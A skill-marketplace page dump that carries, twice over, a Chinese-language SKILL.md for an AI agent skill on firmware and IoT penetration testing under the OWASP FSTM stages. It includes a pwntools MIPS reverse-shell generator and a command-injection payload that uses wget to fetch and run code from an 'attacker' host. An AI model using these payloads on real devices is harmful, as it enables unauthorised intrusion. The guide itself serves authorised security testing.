[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71KBS7WTZH6RRXZRF71AMGS":3,"skill-same:01M71KBS7WTZH6RRXZRF71AMGS":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":40,"linkOnly":41,"markdownContent":42,"markdownBody":43,"frontMatter":44,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":52,"ownerHtmlUrl":53,"ownerBlogUrl":54,"ownerDescription":55,"updatedAt":56,"install":57,"resources":69},"01M71KBS7WTZH6RRXZRF71AMGS","firmware-pentest",null,"固件 \u002F IoT 渗透链。从拿到一坨 .bin \u002F .img 开始，闭环走完逆向 → 提取 → 模拟 → 利用。\n方法论遵循 OWASP FSTM 九阶段；工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。\n适用场景：路由器\u002F摄像头\u002F智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。\n触发关键词：固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。","coco-research\u002Fcoco","coco-research","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F68911604?v=4","01M71JRE9C4NM4NSZM4JD0BJTB","Coco Research","01M71JREA0ZMR0PMH3CKA99SN1",630,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Freverse-skill\u002Fskills\u002Ffirmware-pentest\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39],"firmware","pentest","firmware pentest","toolkit","iot","cve","owasp","afl","analysis","binwalk","关键词","v3","img","工具","true","firmware analysis","2026-11-10 10:12:30",false,"---\nname: firmware-pentest\ndescription: |\n  固件 \u002F IoT 渗透链。从拿到一坨 .bin \u002F .img 开始，闭环走完逆向 → 提取 → 模拟 → 利用。\n  方法论遵循 OWASP FSTM 九阶段；工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。\n  适用场景：路由器\u002F摄像头\u002F智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。\n  触发关键词：固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。\nuser-invocable: true\n---\n\n# 固件 \u002F IoT 渗透链 (Firmware Pentest)\n\n## 适用范围\n\n下列任务进入本 skill：\n\n1. **拿到一份固件文件**（.bin \u002F .img \u002F .trx \u002F .chk \u002F OTA zip），需要从零到 RCE\n2. **路由器\u002F摄像头\u002FIoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞\n3. **加密\u002F打包固件**，需要找 bootloader 解密例程或硬件 dump\n4. **需要在不接触硬件的情况下跑起来**（QEMU 全系统仿真 \u002F Firmadyne \u002F FAT）\n5. **对仿真起来的服务做 fuzz**（AFL++ qemu mode \u002F boofuzz）\n6. **硬件接口接入**（UART \u002F JTAG \u002F SPI flash dump）\n\n### 与其他 skill 分工\n\n| 场景 | 用什么 |\n|------|--------|\n| 从零拿到固件，全链路走 FSTM | **本 skill** |\n| 只做单个 ELF\u002Fso 静态逆向 | `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F` |\n| 仿真起来后做 Web\u002FRCE 利用 | `pentest-tools\u002F`、`attack-chain\u002F` |\n| 硬件接口（UART\u002FJTAG\u002FSPI）实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |\n| APK \u002F Android 固件（含 boot.img） | `apk-reverse\u002F`（先剥 boot.img 再用本 skill） |\n| 跨版本固件符号迁移 | `binary-diff\u002F` |\n\n## 核心原理\n\n```text\n固件 .bin\n   │\n   ├─ Stage 1-3: 信息收集 \u002F 获取 \u002F 静态分析（不解压也能看的部分）\n   │\n   ├─ Stage 4: 提取文件系统  ← binwalk v3 \u002F unblob \u002F jefferson \u002F ubi_reader\n   │     │\n   │     └─ 失败 → 找 bootloader 解密例程 \u002F UART dump \u002F SPI flash 硬件读\n   │\n   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep\n   │\n   ├─ Stage 6: 模拟运行  ← Firmadyne \u002F FAT \u002F qemu-user-static + chroot\n   │\n   ├─ Stage 7-8: 动态 \u002F 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra\n   │\n   └─ Stage 9: 二进制利用  ← AFL++ fuzz \u002F 手工 PoC \u002F ARM \u002F MIPS payload\n```\n\n关键判断：\n- 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍\n- EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘\n- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`\u002Fdev\u002F` 节点缺失\n- ARM \u002F MIPS payload 必须区分大小端（mipsel vs mipseb），别用错\n\n## OWASP FSTM 九阶段工作流\n\n### Stage 1 — 信息收集（Information Gathering）\n\n收集型号、芯片、SDK、已公开 CVE。\n\n```bash\n# FCC ID 查询（美区设备）\ncurl -s \"https:\u002F\u002Ffccid.io\u002F?q=$FCC_ID\"\n\n# 芯片识别参考点\necho \"Realtek RTL8197 \u002F Broadcom BCM \u002F MediaTek MT76 \u002F Qualcomm IPQ\"\n```\n\n输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。\n\n### Stage 2 — 获取固件（Obtaining Firmware）\n\n四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。\n\n```bash\n# OTA 抓包后批量下载\nmitmdump -s save_response.py\n\n# UART 接入（USB-TTL，常用波特率 57600 \u002F 115200）\npicocom -b 115200 \u002Fdev\u002FttyUSB0\n\n# SPI flash 用 CH341A + flashrom 读\nflashrom -p ch341a_spi -r dump.bin\n```\n\n### Stage 3 — 分析固件（Analyzing Firmware）\n\n不解压先看头部、熵、字符串、可识别签名。\n\n```bash\nbinwalk firmware.bin              # magic 扫描\nbinwalk -E firmware.bin           # 熵图，高熵段=压缩\u002F加密\nstrings -n 8 firmware.bin | less  # banner \u002F 内核版本 \u002F 路径\nfile firmware.bin\nhexdump -C firmware.bin | head -64\n```\n\n### Stage 4 — 提取文件系统（Extracting Filesystem）\n\n详见 `references\u002Fextraction-methodology.md`。\n\n```bash\nbinwalk -eM firmware.bin           # 递归提取\nunblob -d out\u002F firmware.bin        # 处理 binwalk 失败的格式\njefferson rootfs.jffs2 -d rootfs\u002F  # JFFS2\nubireader_extract_files rootfs.ubi # UBI\n```\n\n### Stage 5 — 静态分析文件系统（Filesystem Analysis）\n\nEMBA 一键扫，详见 `references\u002Femba-automated-analysis.md`。\n\n```bash\nsudo emba -l .\u002Flogs -f .\u002Ffirmware.bin -p .\u002Fscan-profiles\u002Fdefault-scan.emba\n```\n\n手工补：\n\n```bash\ngrep -rE \"(password|passwd|admin|secret|api_key|token)=\" squashfs-root\u002F\nfind squashfs-root\u002F -name \"*.conf\" -o -name \"*.ini\" -o -name \"shadow\"\nchecksec --file=squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n```\n\n### Stage 6 — 模拟运行（Emulating Firmware）\n\n详见 `references\u002Femulation-and-fuzz.md`。\n\n```bash\n# 用户态：跑单个 binary\nqemu-mipsel-static -L squashfs-root\u002F squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n\n# 全系统：FAT（Firmadyne 封装版）\nsudo fat.py firmware.bin\n```\n\n### Stage 7 — 动态分析（Dynamic Analysis）\n\n仿真起来后挂调试器、抓流量、跑 fuzz。\n\n```bash\n# gdb 远程调试 MIPS\nqemu-mipsel-static -g 1234 .\u002Fvuln_binary\ngdb-multiarch .\u002Fvuln_binary -ex \"target remote :1234\"\n\n# Burp + 路由 Web UI\necho \"把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标\"\n```\n\n### Stage 8 — 运行时分析（Runtime Analysis）\n\n在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。\n\n```bash\n# AFL++ qemu mode 对 ARM \u002F MIPS binary fuzz\nAFL_PRELOAD=.\u002Flibdesock.so afl-fuzz -Q -i in\u002F -o out\u002F -- .\u002Fhttpd @@\n```\n\n### Stage 9 — 二进制利用（Exploitation）\n\n写 PoC，生成 payload，落地 root shell。\n\n```bash\n# pwntools 生成 MIPS reverse shell\npython3 -c \"\nfrom pwn import *\ncontext.arch = 'mips'\ncontext.endian = 'little'\nprint(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())\n\" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin\n\n# ROP gadget\nropper --file squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd --search \"system\"\n```\n\n## 典型场景示例\n\n### 场景 1：普通路由器固件全链路（TP-Link \u002F 小米路由器 \u002F OpenWrt 衍生）\n\n```text\n固件: router_v1.2.3.bin（未加密 squashfs）\n目标: 找 Web 管理界面未授权 RCE 并复现\n\nStep 1 信息收集\n  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash\n  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）\n\nStep 2 获取固件\n  - 官网下载 .bin，sha256 与已知样本对比\n\nStep 3 分析\n  - binwalk → 检出 uImage + squashfs-xz\n  - 熵图 → squashfs 段熵 ~0.95（正常压缩）\n\nStep 4 提取\n  - binwalk -eM router_v1.2.3.bin\n  - 得到 squashfs-root\u002F 完整根文件系统\n\nStep 5 EMBA 扫\n  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE\n  - 自家二进制：\u002Fusr\u002Fsbin\u002Fcgibin 含 system() 直拼字符串\n\nStep 6 仿真\n  - sudo fat.py router_v1.2.3.bin\n  - 仿真起来 IP 192.168.0.1，Web 可访问\n\nStep 7-8 动态\n  - Burp 抓 \u002Fcgi-bin\u002Fluci 系列接口\n  - 发现 hostname 参数直拼 system\n\nStep 9 利用\n  - 构造 hostname=`;wget http:\u002F\u002Fattacker\u002Fx;sh x;`\n  - 仿真态成功反弹 shell\n  - 真机复测通过 → 提报 SRC\n```\n\n### 场景 2：加密固件（找 bootloader 解密例程）\n\n```text\n固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）\n\nStep 1 判断是否真加密\n  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩\n  - 头部前 256 字节 hexdump → 看是否有 vendor header\n\nStep 2 拿到 bootloader\n  - UART 启动时按键进 U-Boot\n  - md.b 0x80000000 0x1000   # 读内存\n  - 或 SPI flash 物理读取整片 → 含 U-Boot 段\n\nStep 3 逆 U-Boot 找解密例程\n  - 用 reverse-engineering skill（IDA \u002F Ghidra）\n  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt\n  - 通常是 AES-128-CBC，key 硬编在 .rodata\n\nStep 4 离线解密\n  openssl enc -d -aes-128-cbc \\\n    -K $(cat key.hex) \\\n    -iv  $(cat iv.hex) \\\n    -in encrypted_fw.bin \\\n    -out decrypted.bin\n\nStep 5 回到 Stage 4 重新走标准流程\n  - binwalk decrypted.bin → 看到 squashfs\n  - 后续与场景 1 相同\n\n兜底\n  - bootloader 也加密 → 找 SoC 一级 ROM 文档\n  - SoC 有安全启动 → 看公开 fault injection \u002F glitch 资料\n```\n\n## 注意事项\n\n- **大小端**：MIPS 路由器常见 mipsel（小端，MT 系列）\u002F mipseb（大端，Broadcom 系列），qemu binary 别用错\n- **NVRAM**：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带\n- **EMBA 不是银弹**：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件\n- **AFL++ qemu mode 慢**：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍\n- **真机操作前先 dump**：物理设备砖前必备整片 flash dump，用 flashrom \u002F ch341a \u002F minipro\n- **法律边界**：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权\n\n---\n","# 固件 \u002F IoT 渗透链 (Firmware Pentest)\n\n## 适用范围\n\n下列任务进入本 skill：\n\n1. **拿到一份固件文件**（.bin \u002F .img \u002F .trx \u002F .chk \u002F OTA zip），需要从零到 RCE\n2. **路由器\u002F摄像头\u002FIoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞\n3. **加密\u002F打包固件**，需要找 bootloader 解密例程或硬件 dump\n4. **需要在不接触硬件的情况下跑起来**（QEMU 全系统仿真 \u002F Firmadyne \u002F FAT）\n5. **对仿真起来的服务做 fuzz**（AFL++ qemu mode \u002F boofuzz）\n6. **硬件接口接入**（UART \u002F JTAG \u002F SPI flash dump）\n\n### 与其他 skill 分工\n\n| 场景 | 用什么 |\n|------|--------|\n| 从零拿到固件，全链路走 FSTM | **本 skill** |\n| 只做单个 ELF\u002Fso 静态逆向 | `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F` |\n| 仿真起来后做 Web\u002FRCE 利用 | `pentest-tools\u002F`、`attack-chain\u002F` |\n| 硬件接口（UART\u002FJTAG\u002FSPI）实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |\n| APK \u002F Android 固件（含 boot.img） | `apk-reverse\u002F`（先剥 boot.img 再用本 skill） |\n| 跨版本固件符号迁移 | `binary-diff\u002F` |\n\n## 核心原理\n\n```text\n固件 .bin\n   │\n   ├─ Stage 1-3: 信息收集 \u002F 获取 \u002F 静态分析（不解压也能看的部分）\n   │\n   ├─ Stage 4: 提取文件系统  ← binwalk v3 \u002F unblob \u002F jefferson \u002F ubi_reader\n   │     │\n   │     └─ 失败 → 找 bootloader 解密例程 \u002F UART dump \u002F SPI flash 硬件读\n   │\n   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep\n   │\n   ├─ Stage 6: 模拟运行  ← Firmadyne \u002F FAT \u002F qemu-user-static + chroot\n   │\n   ├─ Stage 7-8: 动态 \u002F 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra\n   │\n   └─ Stage 9: 二进制利用  ← AFL++ fuzz \u002F 手工 PoC \u002F ARM \u002F MIPS payload\n```\n\n关键判断：\n- 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍\n- EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘\n- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`\u002Fdev\u002F` 节点缺失\n- ARM \u002F MIPS payload 必须区分大小端（mipsel vs mipseb），别用错\n\n## OWASP FSTM 九阶段工作流\n\n### Stage 1 — 信息收集（Information Gathering）\n\n收集型号、芯片、SDK、已公开 CVE。\n\n```bash\n# FCC ID 查询（美区设备）\ncurl -s \"https:\u002F\u002Ffccid.io\u002F?q=$FCC_ID\"\n\n# 芯片识别参考点\necho \"Realtek RTL8197 \u002F Broadcom BCM \u002F MediaTek MT76 \u002F Qualcomm IPQ\"\n```\n\n输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。\n\n### Stage 2 — 获取固件（Obtaining Firmware）\n\n四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。\n\n```bash\n# OTA 抓包后批量下载\nmitmdump -s save_response.py\n\n# UART 接入（USB-TTL，常用波特率 57600 \u002F 115200）\npicocom -b 115200 \u002Fdev\u002FttyUSB0\n\n# SPI flash 用 CH341A + flashrom 读\nflashrom -p ch341a_spi -r dump.bin\n```\n\n### Stage 3 — 分析固件（Analyzing Firmware）\n\n不解压先看头部、熵、字符串、可识别签名。\n\n```bash\nbinwalk firmware.bin              # magic 扫描\nbinwalk -E firmware.bin           # 熵图，高熵段=压缩\u002F加密\nstrings -n 8 firmware.bin | less  # banner \u002F 内核版本 \u002F 路径\nfile firmware.bin\nhexdump -C firmware.bin | head -64\n```\n\n### Stage 4 — 提取文件系统（Extracting Filesystem）\n\n详见 `references\u002Fextraction-methodology.md`。\n\n```bash\nbinwalk -eM firmware.bin           # 递归提取\nunblob -d out\u002F firmware.bin        # 处理 binwalk 失败的格式\njefferson rootfs.jffs2 -d rootfs\u002F  # JFFS2\nubireader_extract_files rootfs.ubi # UBI\n```\n\n### Stage 5 — 静态分析文件系统（Filesystem Analysis）\n\nEMBA 一键扫，详见 `references\u002Femba-automated-analysis.md`。\n\n```bash\nsudo emba -l .\u002Flogs -f .\u002Ffirmware.bin -p .\u002Fscan-profiles\u002Fdefault-scan.emba\n```\n\n手工补：\n\n```bash\ngrep -rE \"(password|passwd|admin|secret|api_key|token)=\" squashfs-root\u002F\nfind squashfs-root\u002F -name \"*.conf\" -o -name \"*.ini\" -o -name \"shadow\"\nchecksec --file=squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n```\n\n### Stage 6 — 模拟运行（Emulating Firmware）\n\n详见 `references\u002Femulation-and-fuzz.md`。\n\n```bash\n# 用户态：跑单个 binary\nqemu-mipsel-static -L squashfs-root\u002F squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n\n# 全系统：FAT（Firmadyne 封装版）\nsudo fat.py firmware.bin\n```\n\n### Stage 7 — 动态分析（Dynamic Analysis）\n\n仿真起来后挂调试器、抓流量、跑 fuzz。\n\n```bash\n# gdb 远程调试 MIPS\nqemu-mipsel-static -g 1234 .\u002Fvuln_binary\ngdb-multiarch .\u002Fvuln_binary -ex \"target remote :1234\"\n\n# Burp + 路由 Web UI\necho \"把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标\"\n```\n\n### Stage 8 — 运行时分析（Runtime Analysis）\n\n在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。\n\n```bash\n# AFL++ qemu mode 对 ARM \u002F MIPS binary fuzz\nAFL_PRELOAD=.\u002Flibdesock.so afl-fuzz -Q -i in\u002F -o out\u002F -- .\u002Fhttpd @@\n```\n\n### Stage 9 — 二进制利用（Exploitation）\n\n写 PoC，生成 payload，落地 root shell。\n\n```bash\n# pwntools 生成 MIPS reverse shell\npython3 -c \"\nfrom pwn import *\ncontext.arch = 'mips'\ncontext.endian = 'little'\nprint(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())\n\" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin\n\n# ROP gadget\nropper --file squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd --search \"system\"\n```\n\n## 典型场景示例\n\n### 场景 1：普通路由器固件全链路（TP-Link \u002F 小米路由器 \u002F OpenWrt 衍生）\n\n```text\n固件: router_v1.2.3.bin（未加密 squashfs）\n目标: 找 Web 管理界面未授权 RCE 并复现\n\nStep 1 信息收集\n  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash\n  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）\n\nStep 2 获取固件\n  - 官网下载 .bin，sha256 与已知样本对比\n\nStep 3 分析\n  - binwalk → 检出 uImage + squashfs-xz\n  - 熵图 → squashfs 段熵 ~0.95（正常压缩）\n\nStep 4 提取\n  - binwalk -eM router_v1.2.3.bin\n  - 得到 squashfs-root\u002F 完整根文件系统\n\nStep 5 EMBA 扫\n  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE\n  - 自家二进制：\u002Fusr\u002Fsbin\u002Fcgibin 含 system() 直拼字符串\n\nStep 6 仿真\n  - sudo fat.py router_v1.2.3.bin\n  - 仿真起来 IP 192.168.0.1，Web 可访问\n\nStep 7-8 动态\n  - Burp 抓 \u002Fcgi-bin\u002Fluci 系列接口\n  - 发现 hostname 参数直拼 system\n\nStep 9 利用\n  - 构造 hostname=`;wget http:\u002F\u002Fattacker\u002Fx;sh x;`\n  - 仿真态成功反弹 shell\n  - 真机复测通过 → 提报 SRC\n```\n\n### 场景 2：加密固件（找 bootloader 解密例程）\n\n```text\n固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）\n\nStep 1 判断是否真加密\n  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩\n  - 头部前 256 字节 hexdump → 看是否有 vendor header\n\nStep 2 拿到 bootloader\n  - UART 启动时按键进 U-Boot\n  - md.b 0x80000000 0x1000   # 读内存\n  - 或 SPI flash 物理读取整片 → 含 U-Boot 段\n\nStep 3 逆 U-Boot 找解密例程\n  - 用 reverse-engineering skill（IDA \u002F Ghidra）\n  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt\n  - 通常是 AES-128-CBC，key 硬编在 .rodata\n\nStep 4 离线解密\n  openssl enc -d -aes-128-cbc \\\n    -K $(cat key.hex) \\\n    -iv  $(cat iv.hex) \\\n    -in encrypted_fw.bin \\\n    -out decrypted.bin\n\nStep 5 回到 Stage 4 重新走标准流程\n  - binwalk decrypted.bin → 看到 squashfs\n  - 后续与场景 1 相同\n\n兜底\n  - bootloader 也加密 → 找 SoC 一级 ROM 文档\n  - SoC 有安全启动 → 看公开 fault injection \u002F glitch 资料\n```\n\n## 注意事项\n\n- **大小端**：MIPS 路由器常见 mipsel（小端，MT 系列）\u002F mipseb（大端，Broadcom 系列），qemu binary 别用错\n- **NVRAM**：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带\n- **EMBA 不是银弹**：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件\n- **AFL++ qemu mode 慢**：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍\n- **真机操作前先 dump**：物理设备砖前必备整片 flash dump，用 flashrom \u002F ch341a \u002F minipro\n- **法律边界**：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权\n\n---\n",{"name":5,"description":45,"user-invocable":46},"固件 \u002F IoT 渗透链。从拿到一坨 .bin \u002F .img 开始，闭环走完逆向 → 提取 → 模拟 → 利用。\n方法论遵循 OWASP FSTM 九阶段；工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。\n适用场景：路由器\u002F摄像头\u002F智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。\n触发关键词：固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。\n",true,"main","cd89f013b617f7eea982a9bbc60e992974fda2aa","systems\u002Freverse-skill\u002Fskills\u002Ffirmware-pentest",15,"https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco","https:\u002F\u002Fcocoresearch.org\u002Fcoco\u002F","https:\u002F\u002Fgithub.com\u002Fcoco-research","https:\u002F\u002Fcocoresearch.org","Local-first, open-source tools for people who work with AI agents: governed memory, agents that check their own work, and data that stays on your machine.","2026-11-10 10:38:36",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":46},[59,62,65],{"tool":60,"command":61},"npx","npx skills add coco-research\u002Fcoco --skill firmware-pentest",{"tool":63,"command":64},"bunx","bunx skills add coco-research\u002Fcoco --skill firmware-pentest",{"tool":66,"command":67},"pnpm","pnpm dlx skills add coco-research\u002Fcoco --skill firmware-pentest","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Freverse-skill\u002Fskills\u002Ffirmware-pentest\u002FSKILL.md",[70,76,80],{"path":71,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":75},"references\u002Femba-automated-analysis.md","REFERENCE","参考文档",6483,"https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Freverse-skill\u002Fskills\u002Ffirmware-pentest\u002Freferences\u002Femba-automated-analysis.md",{"path":77,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":78,"sourceHtmlUrl":79},"references\u002Femulation-and-fuzz.md",8770,"https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Freverse-skill\u002Fskills\u002Ffirmware-pentest\u002Freferences\u002Femulation-and-fuzz.md",{"path":81,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fextraction-methodology.md",6933,"https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Freverse-skill\u002Fskills\u002Ffirmware-pentest\u002Freferences\u002Fextraction-methodology.md",[85,110,120,138,173,192],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":92,"publishedAt":40},"01M71KEJXF9KMT0BWCMRSRFA4M","trading-super-intelligence","Trading Super Intelligence Team. Named real-world personas across 8 cells. Built local-first (LM Studio) and validator-gated. Illustrative composites; see DISCLAIMER.md.","https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Fsuperintelligence\u002Ftrading\u002FSKILL.md",[91],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109],"super","trading super intelligence","intelligence","trading","validator","personas","local","composites","studio","team","across","world","first","gated","2026","lm studio","local-first",{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":117,"publishedAt":40},"01M71KEFWS3CMAP7DF1P0FWTDE","strategy-super-intelligence","Strategy Super Intelligence Team. Named real-world personas across 7 cells. Built local-first (LM Studio) and validator-gated. Illustrative composites; see DISCLAIMER.md.","https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Fsuperintelligence\u002Fstrategy\u002FSKILL.md",[116],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[118,93,119,95,97,98,99,100,101,102,103,104,105,106,107,108,109],"strategy","strategy super intelligence",{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":132,"publishedAt":40},"01M71KED56ZEPK2QE84QSQPMT0","risk-compliance-super-intelligence","Risk & Compliance (GRC) Super Intelligence Team. Named real-world personas across 7 cells. Built local-first (LM Studio) and validator-gated. Illustrative composites; see DISCLAIMER.md.","https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Fsuperintelligence\u002Frisk-compliance\u002FSKILL.md",[126,127],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":128,"categoryName":129,"taxonomyType":130,"taxonomyTypeDesc":131},"01JBSEEDCAT000000000000037","律师与法务","PROFESSION","适用职业",[133,93,134,135,136,95,97,98,99,100,137,101,102,103,104,105,106,107,108,109],"risk","risk compliance super intelligence","compliance","risk compliance","grc",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":157,"publishedAt":40},"01M71KE9A2FWSC74VA96W1EZSN","product-design-super-intelligence","Your product + design brain trust and decision partner. Named personas across 8 cells spanning product strategy, discovery\u002Fresearch, growth\u002Fmetrics, design foundations\u002Fusability, design leadership\u002Fcraft, UX\u002Fcontent, design systems, and a…","https:\u002F\u002Fgithub.com\u002Fcoco-research\u002Fcoco\u002Fblob\u002Fmain\u002Fsystems\u002Fsuperintelligence\u002Fproduct-design\u002FSKILL.md",[144,147,150,151,154],{"categoryNo":145,"categoryName":146,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000015","视觉设计",{"categoryNo":148,"categoryName":149,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":152,"categoryName":153,"taxonomyType":130,"taxonomyTypeDesc":131},"01JBSEEDCAT000000000000031","产品经理",{"categoryNo":155,"categoryName":156,"taxonomyType":130,"taxonomyTypeDesc":131},"01JBSEEDCAT000000000000032","设计师",[158,159,95,160,93,161,162,163,164,165,166,102,103,167,168,107,169,170,171,172],"design","product","product design","product design super intelligence","foundations","product-design","decision","design 